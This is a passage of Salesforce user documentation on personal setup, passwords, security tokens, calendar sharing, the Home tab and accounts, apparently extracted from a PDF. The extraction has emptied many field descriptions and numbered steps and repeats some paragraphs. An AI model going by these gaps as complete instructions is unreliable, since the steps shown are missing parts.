You can grant access to them for a specified duration. For security reasons, the maximum period for granting access is limited
to one year. During the time you have granted access, they can use your login and access your data to help you resolve any
problems.
To grant login access:
1. Choose Your Name > Setup > My Personal Information > Grant Login Access.
2. Set the access expiration date by choosing a value from the picklist.
3. Click Save.
If an administrator, support representative, or publisher makes setup changes using your login, the setup audit trail lists those
changes, including the username of the delegate user who made the changes.
Note: You may be unable to grant access to certain support organizations due to restrictions set up by your administrator
or based on the type of licensing used by a packaged application.
See Also:
Logging In as Another User
Monitoring Setup Changes
31
Personal Setup
The Managers in the Role Hierarchy related list shows all of the users above you in the hierarchy. These users have the same
access to your data as you dothey have access to all data you own or that has been shared with you.
To view this related list, click Your Name > Setup > My Personal Information > Personal Information, and scroll down to
the related list.
See Also:
Overview of Roles
User Fields
The available fields vary according to which Salesforce Edition you have.
A user's personal informationor user detailpage has the following fields, listed in alphabetical order. Some of these fields
may not be visible or editable depending on your permissions or edition.
Field
Description
Accessibility Mode
Active
Address
Admin newsletter
Alias
Allow Forecasting
32
Personal Setup
Field
Description
Api Token
Call Center
The name of the call center to which this user is assigned. See
Managing Call Center Users on page 3166.
Checkout Enabled
City
Community Nickname
Company
Contact
Country
Created By
User who created the user including creation date and time.
(Read only)
Currency
Custom Links
33
Personal Setup
Field
Description
Default Division
Delegated Approver
Department
Development Mode
Division
Email Encoding
Employee Number
End of day
34
Personal Setup
Field
Description
Fax
Federation ID
First Name
Information Currency
The default currency for all currency amount fields in the user
record. Available only for organizations that use multiple
currencies.
Knowledge User
Language
The primary language for the user. All text and online help is
displayed in this language. In Professional, Enterprise, and
Unlimited Edition organizations, a users individual Language
setting overrides the organizations Default Language.
Not available in Personal Edition, Contact Manager, or Group
Edition. The organizations Display Language applies
to all users.
Last Login
Last Name
Locale
35
Personal Setup
Field
Description
twelve-hour clock with AM and PM (for example, 2:00 PM),
whereas in the English (United Kingdom) locale, they display
using a twenty-four-hour clock (for example, 14:00).
The Locale setting also affects the first and last name order
on Name fields for users, leads, and contacts. For example,
Bob Johnson in the English (United States) locale displays as
Bob Johnson, whereas the Chinese (China) locale displays the
name as Johnson Bob.
For Personal Edition users, the locale is set at the organization
level via Your Name > Setup > Company Profile > Company
Information. For all other users, their personal locale, available
at Your Name > Setup > My Personal Information >
Personal Information, overrides the organization setting.
Manager
Marketing User
When enabled, the user can create, edit, and delete campaigns,
configure advanced campaign setup, import leads, and update
campaign history via the member import wizards. Available
in Professional, Enterprise, and Unlimited Editions.
To use the campaign import wizards, Marketing Users must
also have the Marketing User profile (or the Import Leads
permission and the Edit permission on campaigns in
Enterprise and Unlimited Edition organizations).
If this option isnt selected, the user can only view campaigns
and advanced campaign setup, edit the Campaign History for
a single lead or contact, and run campaign reports.
36
Personal Setup
Field
Description
Mobile
37
Personal Setup
Field
Description
synchronizes with Salesforce, all the Salesforce data is deleted
from the device, and the device is no longer associated with
the user.
For more information, see Salesforce Mobile Overview on
page 942.
Note: The Mobile User checkbox doesn't apply to
Mobile Lite users because they can access Salesforce
from their device without a mobile license.
Mobile Configuration
Modified By
Name
Newsletter
Offline User
Phone
Profile
38
Personal Setup
Field
Description
Role
39
Personal Setup
Field
Description
Start of day
State/Province
Time Zone
Title
Used Space
User License
Username
40
Personal Setup
Field
Description
Zip/Postal Code
See Also:
Adding a Single User
Adding Multiple Users
Editing Users
Managing Mobile Permissions
Manage Users
If your organization uses divisions to segment data, your user information contains a default division. This is the division that
is applied, by default, to all new accounts, leads, and appropriate custom objects you create, unless you explicitly set a different
division during record creation. For records you create that are related to an account or other record that already has a division,
the new record is assigned to the existing records division; the default division is not used.
Your default division setting does not restrict you from viewing or creating records in other divisions. See Overview of Divisions
on page 455 for more information.
To change your default division:
1. Click Your Name > Setup > My Personal Information > Personal Information.
To change the default division of another user, click Your Name > Setup > Manage User > Users, and select the name
of the user. See Transferring Divisions on page 765 to transfer the default division for multiple users.
2.
3.
4.
5.
See Also:
Transferring Divisions
Changing Your Working Division
41
Personal Setup
Click Your Name > Setup > My Personal Information > Change My Display to change various personal display options.
You can:
Click Customize My Tabs to change which tabs display when you log in, or, if you have multiple apps, to change which
tabs display in each app. By default, you will see the tabs that are set for your profile. Add each tab you want to display,
change the display order if desired, and click Save.
Note: The first tab that displays when you select an app may change if your administrator changes the app's default
landing tab. See Editing App Properties on page 1724.
Select an object from the drop-down list and click Customize My Pages to customize your display.
For your Home tab, customize the dashboard snapshot that displays on the Home tab. Select the dashboard to use and
click Save. The link to customize your Home tab is available only if your administrator has customized your home page
layout to include a dashboard.
See Refreshing Dashboard Data on page 3093 for information on refreshing your dashboard snapshot.
For all other tabs, set which related lists display on your detail pages. To add or remove related lists, select a related list
title, and click the Add or Remove arrow. To change the order of the related lists, select a related list title in the Selected
List box, and click the Up or Down arrow. Click Save when finished.
Note: Your personal related list customization may change if your administrator alters the page layout for a particular
tab. See Managing Page Layouts on page 1276.
You can also access the Customize My Display page via the Customize Page link in the Dashboard section of the Home tab
or on any record detail page.
To customize the folders that display on your Reports tab, see Reports Tab on page 2915.
Note: Users can't remove dashboards from their home tab. Only administrators control whether dashboards appear.
See Also:
Changing Your Home Tab Dashboard
Viewing All Tabs
42
Personal Setup
To view all the tabs available to you in Salesforce, click the plus icon (+) next to the main tabs.
See Also:
Customizing Your Display
To change your password at any time, click Your Name > Setup > My Personal Information > Change My Password.
Note: If you have the User Single Sign-On permission, only an administrator can reset your password. Please contact
your administrator for assistance. For information about Single Sign-On, see About Single Sign-On on page 671.
When you change your password, if you have not previously selected and answered a security question, you are prompted to
do so. You must answer this question correctly if you ever forget your password and need it to be reset.
43
Personal Setup
You might have to activate your computer to successfully log in to Salesforce whenever your password is changed or reset, or
when you log in from a computer you have not used to access Salesforce before. Activating your computer allows Salesforce
to verify your identity and prevent unauthorized access. To activate your computer:
1. When prompted on the login page, click the Send Activation Link button. Salesforce sends an activation email to the
email address specified on your Salesforce user record.
2. When you receive the activation email, copy and paste the activation link into your browser.
The activation link included in the email is available for you to copy and paste into your browser up to 24 hours from the
time you clicked the Send Activation Link button. After 24 hours, the activation link expires, and you must repeat the
activation process to log in.
See Also:
Retrieving Forgotten Passwords
Resetting Your Security Token
You might have to activate your computer to successfully log in to Salesforce whenever your password is changed or reset, or
when you log in from a computer you have not used to access Salesforce before. Activating your computer allows Salesforce
to verify your identity and prevent unauthorized access. To activate your computer:
1. When prompted on the login page, click the Send Activation Link button. Salesforce sends an activation email to the
email address specified on your Salesforce user record.
2. When you receive the activation email, copy and paste the activation link into your browser.
The activation link included in the email is available for you to copy and paste into your browser up to 24 hours from the
time you clicked the Send Activation Link button. After 24 hours, the activation link expires, and you must repeat the
activation process to log in.
See Also:
Changing Your Password
44
Personal Setup
2.
3.
4.
5.
6.
You might have to activate your computer to successfully log in to Salesforce whenever your password is changed or reset, or
when you log in from a computer you have not used to access Salesforce before. Activating your computer allows Salesforce
to verify your identity and prevent unauthorized access. To activate your computer:
1. When prompted on the login page, click the Send Activation Link button. Salesforce sends an activation email to the
email address specified on your Salesforce user record.
2. When you receive the activation email, copy and paste the activation link into your browser.
The activation link included in the email is available for you to copy and paste into your browser up to 24 hours from the
time you clicked the Send Activation Link button. After 24 hours, the activation link expires, and you must repeat the
activation process to log in.
See Also:
Resetting Your Security Token
A security token is an automatically generated key that you must add to the end of your password in order to log in to Salesforce
from an untrusted network. For example, if your password is mypassword, and your security token is XXXXXXXXXX, then
you must enter mypasswordXXXXXXXXXX to log in. Security tokens are required whether you log in via the API or a desktop
client such as Connect for Outlook, Connect Offline, Connect for Office, Connect for Lotus Notes, or the Data Loader.
You are offered a security token if you try to access Salesforce from an untrusted network. Once you have been issued a security
token, you have the option to reset this security token at any time.
To reset your security token, click Your Name > Setup > My Personal Information > Reset Security Token, and click the
Reset My Security Token button. The new security token is sent via email to the email address on your Salesforce user record.
If you have never been offered a security token, for example, because your organization restricts the IP addresses from which
you can log in, the Reset My Security Token node does not appear in Setup.
45
Personal Setup
Tip: We recommend that you obtain your security token using the Salesforce user interface from a trusted network
prior to attempting to access Salesforce from a new IP address.
See Also:
Changing Your Password
Note: This information only applies to Forecasts (Classic) and not to the Forecasts product released in Winter 12 or
to Customizable Forecasts.
You can track your sales quotas on a quarterly basis. To add or edit a quota, go to your forecast for the quarter, or select Your
Name > Setup > My Personal Information > Personal Information.
To create a new quota from the personal information page:
1. Click New in the Quotas related list.
2. Select the year and quarter, and click Next.
By default, the page displays the quarter that follows the last quota you created. The year you select should be based on
your organizations Fiscal Year Starts In settings.
3. Enter amounts for each month. Do not include any currency symbols. If your organization uses multiple currencies, your
quota is created in your personal currency by default.
4. Click Save to finish. Creating a quota automatically creates the corresponding forecast for that quarter.
To edit a quota, click the quota name in the Quotas related list. Editing the quota amounts automatically logs an entry to the
Forecast History related list of the corresponding forecast (see Forecast History on page 2498).
Note: Managers should enter their quota amounts as a sum of their entire teams quotas.
If your sales group does not break down quotas monthly, enter zeroes for the first two months and put the entire
amount in the third month.
If your organization uses multiple currencies, click Change Currency in the Quotas related list to change the currency of the
quota. All quota and forecast values are automatically converted to the new currency using the conversion rates maintained by
your administrator.
See Also:
Creating Forecasts
Editing Forecasts
46
Personal Setup
Click Your Name > Setup > Email > My Email Settings to alter email settings that apply to all outbound emails you send
from within the application.
You can change:
See Also:
Sending Email
47
Personal Setup
8. Click Save.
See Also:
Sending Stay-in-Touch Requests
You can grant access to other users, personal and public groups, roles, or roles and subordinates to view your calendar.
1.
2.
3.
4.
Click Your Name > Setup > My Personal Information > Calendar Sharing.
Click Add to share your calendar with others.
Use the arrows to add or remove users, roles, or groups to your calendar.
In Calendar Access, specify how you want to share your calendar by selecting one of the following:
Option
Description
Hide Details
Others can see whether given times are available, but cannot
see any other information about the nature of events in the
calendar.
Others can see whether given times are available, but cannot
see details of events. Other users can insert events in the
calendar.
Show Details
Full Access
5. Click Save.
The available Calendar Access options vary depending on the organization-wide calendar sharing level set by your
administrator. Only choices that make your calendar access less restrictive are available. Calendar sharing settings affect the
visibility of items on a calendar, but do not give access to event detail pages.
48
Personal Setup
Note: Regardless of whether your organization's sharing settings specify using hierarchies, activities associated with
a record are still visible to users above the activitys assignee in the role hierarchy.
See Also:
Activity Accessibility
Set an option to automatically insert your default record type when creating new records. Using this setting, you can bypass
the page prompting you to select a record type. If you have several different record types available to you, you may prefer to
be prompted to select a record type every time you create a new record.
1. Click Your Name > Setup > My Personal Information > Record Type Selection.
2. Check any box to automatically select the default record type when creating records of that type.
Any unchecked boxes indicate that you prefer to be prompted to select a record type.
3. Click Save.
Note: The Record Type Selection option may not be available because your organization is not using record types or
multiple record types are not available for a particular tab.
Individual checkboxes are only offered when you have more than one record type available for a tab.
If your organization uses person accounts, note that checking the Account box on this page causes one default record
type selection for all types of accounts. It is not possible to set separate default record type selections for business
accounts and person accounts. If you work with both types of accounts, leave the box blank.
See Also:
Managing Record Types
Once opportunity update reminders are enabled for your organization, any user who has direct reports can schedule them.
To schedule an opportunity update reminder:
1. Click Your Name > Setup > Email > My Update Reminder.
2. Check Active if you want reminders to start after you save the settings.
49
Personal Setup
Description
# of Open Opportunities
Forecast Amount
50
Personal Setup
Field
Description
This field is not available to organizations using customizable
forecasting. For more information, see Do I Have
Customizable Forecasting? on page 2502.
See Also:
Enabling Opportunity Update Reminders
Desktop clients such as Connect for Outlook and Connect Offline integrate Salesforce with your PC. Follow these steps to
see which desktop client versions are installed on your computer and download available updates:
1.
2.
3.
4.
Navigate to Your Name > Setup > Desktop Integration > Check for Updates.
From the table, review the names and version numbers of available desktop clients.
If you are using Internet Explorer, click the correct desktop client and then click Install Now to install a client.
If you are using another browser such as Mozilla Firefox, click Download Now to save the installer file to your computer.
Then double-click the saved file to run the installer program.
Your administrator controls which desktop clients you are allowed to install. See Desktop Client Access Overview on page
547. Note that Connect Offline is the only client available with Developer Edition.
See Also:
Force.com Connect for Microsoft Outlook Overview
Force.com Connect Offline Overview
Force.com Connect for Microsoft Office Overview
Force.com Connect for Lotus Notes Overview
Viewing Client Update Alerts
51
Personal Setup
When reminders are enabled for your organization, the default reminder settings are configured to open the reminder window
and play a sound fifteen minutes before an event's start time, or at 8:00 am the day a task is due. Click Your Name > Setup
> My Personal Information > Reminders to customize the following reminder settings to meet your needs.
Setting
Description
See Also:
Setting Reminders on Activities
Editing Tasks
Editing Events
Using the Activity Reminder Window
52
My Chatter Settings
MY CHATTER SETTINGS
Automatically Following Records You Own
Available in: Group, Professional, Enterprise, Unlimited, Contact Manager, Developer, and Database.com Editions.
When you follow records you create, updates are sent to your Chatter feed when you or someone else changes a tracked field
on those records.
By default, you dont automatically follow the records you create. If you want to automatically follow the records you create,
you must enable auto-follow in your Chatter Settings.
1. Click Your Name > Setup > My Chatter Settings > My Feeds.
2. Select Automatically follow records I create.
3. Click Save.
Note: If the Account Owner field isn't tracked and someone changes the owner of an account, the new owner won't
automatically follow the account. To automatically follow a record when someone else assigns you ownership, your
administrator must enable the owner field on the object for feed tracking.
See Also:
Following People
Following Records
Feeds
The People and Records You Auto-Follow Initially
53
Personal Setup
If your organization has Approvals in Chatter enabled, you can receive approval requests as posts in Chatter.
1. Click Your Name > Setup > My Chatter Settings > My Feeds.
2. Select Receive approval requests as private Chatter posts to receive approval requests in posts or deselect
the option to stop receiving approval requests.
By default, you automatically receive approval requests in posts when your administrator turns on Approvals in Chatter.
3. Click Save.
Note: Only users with access to the approval record can see the approval request post. Comments on approval posts
aren't persisted to the approval record.
If the Social Accounts and Contacts feature is enabled for your organization, you can turn off social networks that you don't
want to use. You can also turn off the Social Accounts and Contacts feature, if needed.
1. Click Your Name > Setup > My Social Accounts and Contacts > Settings.
2. Click Change your Social Accounts and Contacts settings.
3. Customize Social Accounts and Contacts so it works the way you want it to.
Select the social networks that you want to use. Deselect any of the services that you don't want to use.
Deselect Use Social Accounts and Contacts to turn off the Social Accounts and Contacts feature entirely. Select this
checkbox to turn the feature back on if you change your mind.
54
Home Tab
4. Click Save.
See Also:
Social Accounts, Contacts, and Leads Overview
Security and Privacy When Using Social Accounts and Contacts
Using Social Accounts
Social Accounts, Contacts, and Leads Overview
Security and Privacy When Using Social Accounts and Contacts
Using Social Contacts
Social Accounts, Contacts, and Leads Overview
Security and Privacy When Using Social Accounts and Contacts
Using Social Leads
HOME TAB
Home Tab Overview
The available tabs and options in the Create New drop-down list vary according to which permissions you have and which
Salesforce Edition you are using.
From the Home tab, you can view your calendar and tasks, and select tab and sidebar options to access other information.
You can also search for information and view messages and custom links provided by your administrator.
The tabs at the top of the page let you access different types of information.
Tabs can be organized into groups called apps, which make it easy to switch between sets of tabs that relate to one another.
In addition to the standard apps, such as Sales and Call Center, your administrator can create custom apps to define the tabs
that you see. You can switch between apps by choosing from the Force.com app menu at the top of the page.
55
Home Tab
An alert banner may appear on the Home tab to let you know when updates are available for desktop clients such as Connect
for Outlook and Connect Offline. For more information, see Viewing Client Update Alerts on page 63.
See Also:
Troubleshooting Login Issues
Using Your Calendar and Tasks on the Home Page
Search Overview
Recycle Bin
About the Sidebar
Custom Links
Messages and Alerts
Recent Items
What is an App?
Your administrator can create customized Home tab pages that display customized components such as a dashboard snapshot
or your company logo. If your Home tab contains a dashboard snapshot, you can change the dashboard settings.
Click Customize Page in the Dashboard section of the Home tab if yours contains a dashboard. Use this page to select a
different dashboard to display on the Home tab. Click Refresh to refresh the data in your dashboard. See Refreshing Dashboard
Data on page 3093 for more information.
See Also:
Customizing Your Display
Note: The My Tasks and Calendar sections display on the Home tab if they are included as components on your
home page layout. For more information, see Customizing Home Tab Page Layouts on page 1299.
From the Home tab, you can view, create, and edit events and tasks. If you have Salesforce for Outlook, Connect for Outlook
or Connect for Lotus Notes installed, you may be able to sync your Outlook or Lotus Notes records with Salesforce so they
display in the My Tasks and Calendar sections on the Home page.
56
Home Tab
Choose a time frame from the drop-down list to change which tasks display.
Assign unresolved emails to related records; to view all your unassigned emails, click My Unresolved Items.
If your organization has enabled hover links for the My Tasks list, hover your mouse over the subject of a task to see the
details of the task in an overlay. Alternatively, click the subject of a task to open the detail page of that task.
Click X to close a task.
Click the Requested Meetings subtab to view meetings you have requested but not confirmed. This tab displays a maximum
of 100 requested meetings.
Click the subject of the meeting to open its detail page where you can cancel and reschedule the meeting.
The Status column shows the number of invitees that have responded to your meeting request.
Once you confirm a meeting, it appears on the Scheduled Meetings subtab.
If the Requested Meetings subtab doesn't display, ask your Salesforce administrator to add it to the Calendar section. See
Customizing Activity Settings on page 1331.
View a small calendar of the current month. To change which month displays, click the Previous Month ( ) and Next
Month ( ) icons as appropriate.
Navigate to different views of your calendar: Click the icons underneath the small monthly calendar as appropriate. For
more information, see Viewing Your Calendar on page 143.
See Also:
Viewing Activities
Requesting a Meeting Using Cloud Scheduler
Setting Up Cloud Scheduler
57
Home Tab
Recycle Bin
Recycle Bin
Available in: All Editions except for Database.com
Tag Manager
The Recycle Bin link in the sidebar lets you view and restore recently deleted records for 15 days before they are permanently
deleted. Your recycle bin record limit is 25 times the Megabytes (MBs) in your storage. For example, if your organization has
1 GB of storage then your limit is 25 times 1000 MB or 25,000 records. If your organization reaches its Recycle Bin limit,
Salesforce automatically removes the oldest records if they have been in the Recycle Bin for at least two hours.
3. Click Search.
58
Home Tab
See Also:
Removing Members from Relationship Group Members
Managing Articles and Translations
The Create New drop-down list, available in the sidebar, provides options to create new records. To create a new record using
the drop-down list:
1. Select the type of record you want to create. The new record page immediately displays in the appropriate tab or the Upload
a File dialog box displays if you selected File.
2. Fill in the fields.
3. Click Save or Upload to My Files if you selected File.
Click Tags to browse, search, and manage your entire tag collection.
59
Home Tab
Select a tag in the Recent Tags drop-down list to view all records that have been marked with that tag. The tags that appear
in this list are those you have most recently used to tag records.
See Also:
Tags Overview
Browsing, Searching, and Managing Tags
Enabling Tags
The sidebar column that appears on the left side of most Salesforce pages provides convenient access to the following links
and commands.
Search
Use the header search box, if you don't have sidebar search.
The options in your sidebar may vary if your administrator has customized your home page layout. For more information, see
Customizing Home Tab Page Layouts on page 1299.
If your administrator has enabled the collapsible sidebar, you have the choice to show or hide the sidebar as needed. Click the
edge of the sidebar or press ALT+S to open or close the sidebar as needed. Opening the sidebar using ALT+S automatically
places your cursor in the Search box.
Note: Call center users won't see incoming calls if they collapse the sidebar.
Tip: If your organization uses divisions, we recommend that you keep the sidebar pinned and visible at all times so
you always have access to the Divisions drop-down list.
See Also:
Customizing Activity Settings
60
Home Tab
The Messages and Alerts section of the Home tab sidebar displays announcements customized by your organization's
administrator. The Messages and Alerts section is not available in Personal Edition.
See Also:
Customizing Home Tab Page Layouts
About the Sidebar
Custom Links
Available in: All Editions except Database.com
This section appears on the Home tab depending on your customized home page layout. See Customizing Home Tab Page
Layouts on page 1299.
The Custom Links section of the Home tab contains links to websites or Salesforce pages that are useful for everyone in your
organization. Your administrator sets which links display in this section.
See Also:
Customizing Home Tab Page Layouts
About the Sidebar
Recent Items
Available in: All Editions
In the Recent Items section of the sidebar column, you see a short list of up to 10 specific accounts, campaigns, cases, contacts,
contracts, documents, ideas, questions, leads, opportunities, quotes, orders, person accounts, solutions, users, or custom objects
youve most recently added or viewed. To see the details of an item, click the name of the item.
Tip: If your organization has enabled hover details, hover your mouse over any item in the Recent Items list to view
key information about the record before clicking into that record's detail or edit page.
61
Home Tab
Note: Your Recent Items may show fewer than 10 items if you have recently deleted any of your recently viewed
items. Likewise, the Recent lists on the tab home pages (for example, the Recent Leads list) may show fewer than 10
or 25 items if you have recently deleted items.
See Also:
About the Sidebar
Affected by Divisions
Affected by Divisions
If your administrator has enabled divisions, your organizations data will be segmented into different sections, making searches,
reports, and list views more meaningful for you. For example, if you work in the North American division, you can create
reports to show only records belonging to the European division.
You can change the division in which you are working at any time. The data you see in search results includes records in your
working division.
To set your working division, simply select a division from the Divisions drop-down list in the sidebar.
To search within multiple divisions at the same time, use advanced search, global search, or select --All-- from the Divisions
drop-down list.
To search within a division in a lookup dialog, select a division from the drop-down list in the lookup dialog window. Your
results include records in the selected division.
Note: All searches within a working division also include the global division. For example, if you search within a
working division called Western Division, your results will include records found in both the Western Division
and the global division.
To report on records in a specific division, select a division from the Divisions drop-down list on the report. Select
--Current-- to show records in your current working division.
Reports that are already scoped (such as My Cases or My teams accounts) include records in all divisions, and you cannot
further limit them to a specific division.
To find records in a specific division in a list view, use the Divisions drop-down list when creating or editing the list view.
62
Home Tab
Note: When you create new records, those records are not automatically assigned to your current working division.
See Overview of Divisions on page 455 for more information.
See Also:
About Divisions
Transferring Divisions
Changing Your Default Division
About the Sidebar
Under the following conditions, an alert banner automatically appears across the Home tab when new versions of clients such
as Connect for Outlook and Connect Offline are available.
Your administrator has given you access to see the Home tab alerts. See Desktop Client Access Overview on page 547.
In the past, you have successfully logged in from the client with your Salesforce username and password.
Click the alert banner to proceed to the Check for Updates page.
Note the following:
You can navigate to the Check for Updates page at any time to see which client versions are installed on your computer.
After installing the update, the alert banner continues to appear across the Home tab until you log in through the newly
updated client.
Connect Offline is the only client available with Developer Edition.
See Also:
Desktop Client Access Overview
Force.com Connect for Microsoft Outlook Overview
Force.com Connect Offline Overview
Force.com Connect for Microsoft Office Overview
Force.com Connect for Lotus Notes Overview
63
Accounts
Accounts Overview
ACCOUNTS
Accounts Overview
Business accounts available in: All Editions except Database.com
Person accounts available in: Enterprise, Unlimited, and Developer Editions
Accounts are your organization's customers, competitors, and partners. Each account stores information such as name, address,
and phone numbers. For each account, you can store related information such as opportunities, activities, cases, partners,
contracts, and notes.
The Accounts tab displays a home page that lets you quickly create and locate all types of accounts, and also sort and filter
your accounts using standard and custom list views. In addition, this tab lets you view and edit detailed information on each
account to which you have access.
You can also enhance your traditional account data with your customers social information. With the Social Accounts and
Contacts feature, you can see your accounts social network profiles and other social datadirectly in Salesforce. Easy access
to this information helps you know your customers better, so you can solve their problems and build stronger relationships.
If your organization has been enabled with person accounts, you have two different kinds of accounts: business accounts and
person accounts. Business accounts represent the other companies with which your organization does business. For business
accounts, the individuals who work at those companies are represented by contacts. Person accounts represent the individual
consumers with whom your company does business, such as a financial services client, an online shopper, or a vacation traveler.
Depending on your organization's business model, you may use business accounts, person accounts, or both.
If your organization has a partner portal, you can create partner accounts. Partner accounts are business accounts that a channel
manager uses to manage partner organizations, partner users, and activities.
Note: In the online help and other Salesforce documentation, the word account by itself always refers to both
business accounts and person accounts. The terms business account and person account are used when there are
differences between the two kinds of accounts.
See Also:
Accounts Home
What is a Person Account?
Social Accounts, Contacts, and Leads Overview
Partner Portal Overview
64
Accounts
The Social Accounts and Contacts feature lets you view social network profiles and other social information for your accounts,
contacts, and leads, directly in Salesforce. Easy access to this information provides your sales users with social sales intelligence
that they can use to better meet existing and potential customers needs. The Social Accounts and Contacts feature is enabled
by default for organizations created after the Spring 12 release. For existing organizations, the administrator must enable
Social Accounts and Contacts.
Note: In the online help and other Salesforce documentation, the word account by itself always refers to both
business accounts and person accounts. The terms business account and person account are used when there are
differences between the two kinds of accounts.
You can see social information from several social networks.
Social
Network
Supported Records
Facebook gives you a more personal view of your existing and potential
Accounts
customers and helps you find common interests. For contacts, leads, and
Contacts
person accounts, you can see profiles, status updates, and the number of
mutual friends you share. For business accounts, you can view your customers Leads
corporate social media presence, including their company profile and wall
posts.
Klout
Klout is a third-party service that analyzes people's influence across social Accounts
networks, including Twitter, Facebook, and LinkedIn. Use Klout to see
Contacts
your accounts', contacts', and leads' influence on social media, who they
Leads
influence, who influences them, and the topics they talk about.
LinkedIn is useful for staying up to date on your contacts', leads', and person Contacts
accounts' professional personas. You can see profile photos, current titles
Leads
and companies, and locations.
Person Accounts
Twitter is a great way to see the public personas of your existing and
Accounts
potential customers and learn what's on their minds. You can see bios, recent
Contacts
tweets, and the people who are following and being followed by your
Leads
accounts, contacts, and leads.
65
Accounts
Social
Network
Supported Records
YouTube
YouTube helps you find and view videos related to your accounts, contacts, Accounts
and leads.
Contacts
Leads
See Also:
Security and Privacy When Using Social Accounts and Contacts
Enabling and Configuring Social Accounts and Contacts
Using Social Accounts
Security and Privacy When Using Social Accounts and Contacts
Enabling and Configuring Social Accounts and Contacts
Using Social Contacts
Security and Privacy When Using Social Accounts and Contacts
Enabling and Configuring Social Accounts and Contacts
Using Social Leads
66
Accounts
Social Accounts and Contacts is secure and private. Here's an overview of its security and privacy features:
Salesforce uses the trusted OAuth protocol when you sign in to your Facebook, LinkedIn, or Twitter accounts, so your
login credentials aren't exposed to Salesforce.
Salesforce doesn't import or store social information. Each time you select a contact's social profile or YouTube video,
Salesforce retrieves the information directly from the corresponding social network and simply displays it. The information
that you see is read-only and can't be modified.
You can't import or store social data in Salesforce records. This ensures that you always see current details when viewing
your accounts', contacts', and leads' social information.
The details that are visible to you when you view a Facebook, LinkedIn, or Twitter profile are determined by the connection
that you have with the account, contact, or lead, as well as privacy settings. Typically you see the same information as you
would when viewing the profile while logged in directly to the social network. Some of your customers, however, may have
privacy settings that restrict the visibility of some or all of their profile details outside the network. In those cases, you see
very few, if any, profile details in Salesforce.
Your view of a Facebook, LinkedIn, or Twitter profile is not shared with anyone else in your organization. Other Salesforce
users must sign in to their own social network accounts to use Social Accounts and Contacts and the profile details that
are visible depend on each user's connection level with the account, contact, or lead, as well as their privacy settings.
None of your Facebook, LinkedIn, or Twitter profile information is stored in Salesforce, nor does Salesforce post anything
about you or your activities to your social network accounts.
Accounts, contacts, and leads aren't notified when you view their social network profiles using the Social Accounts and
Contacts feature.
Important: The Social Accounts and Contacts feature uses Facebook, Klout, LinkedIn, Twitter, and YouTube public
APIs to display social information in Salesforce. Because these social networks have the option of modifying or
terminating access to their APIs at any time, salesforce.com cant guarantee the future availability of this feature or
any of its functionality, including access to the data that is currently provided or to any particular social network as a
whole.
See Also:
Social Accounts, Contacts, and Leads Overview
Using Social Accounts
Social Accounts, Contacts, and Leads Overview
Using Social Contacts
Social Accounts, Contacts, and Leads Overview
Using Social Leads
67
Accounts
Note: Person accounts are not enabled by default in Salesforce. To quickly verify whether your organization uses
person accounts, see if you have an option to select Person Account as the record type when you create a new account.
To request person accounts, check with your administrator.
A person account is an individual consumer with whom you do business, such as a financial services client, an online shopper,
or a vacation traveler. Person accounts are applicable to organizations that operate on a business-to-consumer model as opposed
to a business-to-business model.
In a business-to-business model, there is a natural differentiation between the other businesses with whom you work and the
people associated with those businesses. In Salesforce, that translates to accounts and contacts having different fields, features,
and tabs. In a business-to-consumer model, because you are providing products or services to people rather than companies
or organizations, the distinction between accounts and contacts does not exist. Consequently, person accounts in Salesforce
have a combination of fields from both accounts and contacts, and can be used as contacts in most situations that involve
contacts. For example, business accounts do not have standard fields for email address and job title, but person accounts do.
Also, person accounts can be associated with campaigns just like contacts, but business accounts cannot. For details on the
contact-specific functionality that applies to person accounts, see Person Account Behaviors on page 69.
The ability for person accounts to act like contacts is made possible by applying an account record type which has special
properties. The default name of this record type is Person Account. Your administrator may have changed the name of this
record type, and also may have created more account record types that have the same special properties. For more information
on record types, see Managing Record Types on page 1268 and Changing the Record Type Field on page 114.
Note: In the online help and other Salesforce documentation, the word account by itself always refers to both
business accounts and person accounts. The terms business account and person account are used when there are
differences between the two kinds of accounts.
See Also:
Person Account Behaviors
Accounts Overview
Contacts Overview
Tip sheet: Using Person Accounts
Implementation guide: Implementing Person Accounts
Disabling and Deactivating Portal Users
68
Accounts
Note: Person accounts are not enabled by default in Salesforce. To request person accounts, contact salesforce.com.
Person accounts are accounts that can also be used as contacts in many situations. The following table summarizes the key
areas in which person accounts differ from business accounts or have unique considerations:
Salesforce Functionality
Account Merge
Accounts
Activities
Campaigns
Cases
Contact Roles
69
Accounts
Salesforce Functionality
Contacts
Custom Objects
Customer Portal
Desktop Integration
Field History
Fields
Icons
Import Wizards
70
Accounts
Salesforce Functionality
Leads
List Views
Mobile Configurations
Page Layouts
Partners
You can use the Partners related list to relate person accounts
to each other. We recommend that you rename the Partners
related list to Related Accounts, Relationships, or a similar
term that reflects how your person accounts are connected.
Record Types
71
Accounts
Salesforce Functionality
Search
Self-Service Portal
Sharing Settings
Stay-in-Touch Requests
Storage
Workflow Rules
See Also:
What is a Person Account?
Tip sheet: Tips & Hints for Person Accounts
Administrator setup guide: Implementing Person Accounts
Disabling and Deactivating Portal Users
72
Accounts
Accounts Home
Accounts Home
Business accounts available in: All Editions except Database.com
Person accounts available in: Enterprise, Unlimited, and Developer Editions
Read on accounts
To view accounts:
Read on accounts
Create on accounts
To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
In the Recent Accounts section, select an item from the drop-down list to display a brief list of the top accounts matching
that criteria. From the list, you can click any account name to go directly to the account detail. Toggle the Show 25 items
and Show 10 items links to change the number of items that display. The fields you see are determined by the Accounts
Tab search layout defined by your administrator and by your field-level security settings (available in Enterprise, Unlimited,
and Developer Editions only). The Recent Accounts choices are:
Recent Accounts Choice
Description
Recently Viewed
Recently Created
Recently Modified
If Quick Create has been enabled by your administrator, you can add a new account from the Quick Create area in the
sidebar on the accounts home page. If your organization uses person accounts and your default record type for the Accounts
tab is a person account record type, then the Quick Create fields include First Name and Last Name instead of Account
Name. Validation rules don't apply if you create new records for an object with Quick Create.
Alternatively, click New next to the Recent Accounts section to create a new account.
73
Accounts
Select any of the links under Tools to access utilities for managing your accounts.
If accounts are shared with external contacts via Salesforce to Salesforce, choose one of the list views under Accounts from
Connections to view accounts that your business partners have shared with you.
Note: If your organization has Salesforce for Wealth Management, accounts are called clients.
See Also:
Accounts Overview
What is a Person Account?
Using Accounts
Creating Accounts
Merging Duplicate Accounts
Deleting Accounts
Creating Custom List Views
Read on accounts
Create on accounts
The accounts list page displays a list of accounts in your current view. To show a filtered list of items, select a predefined list
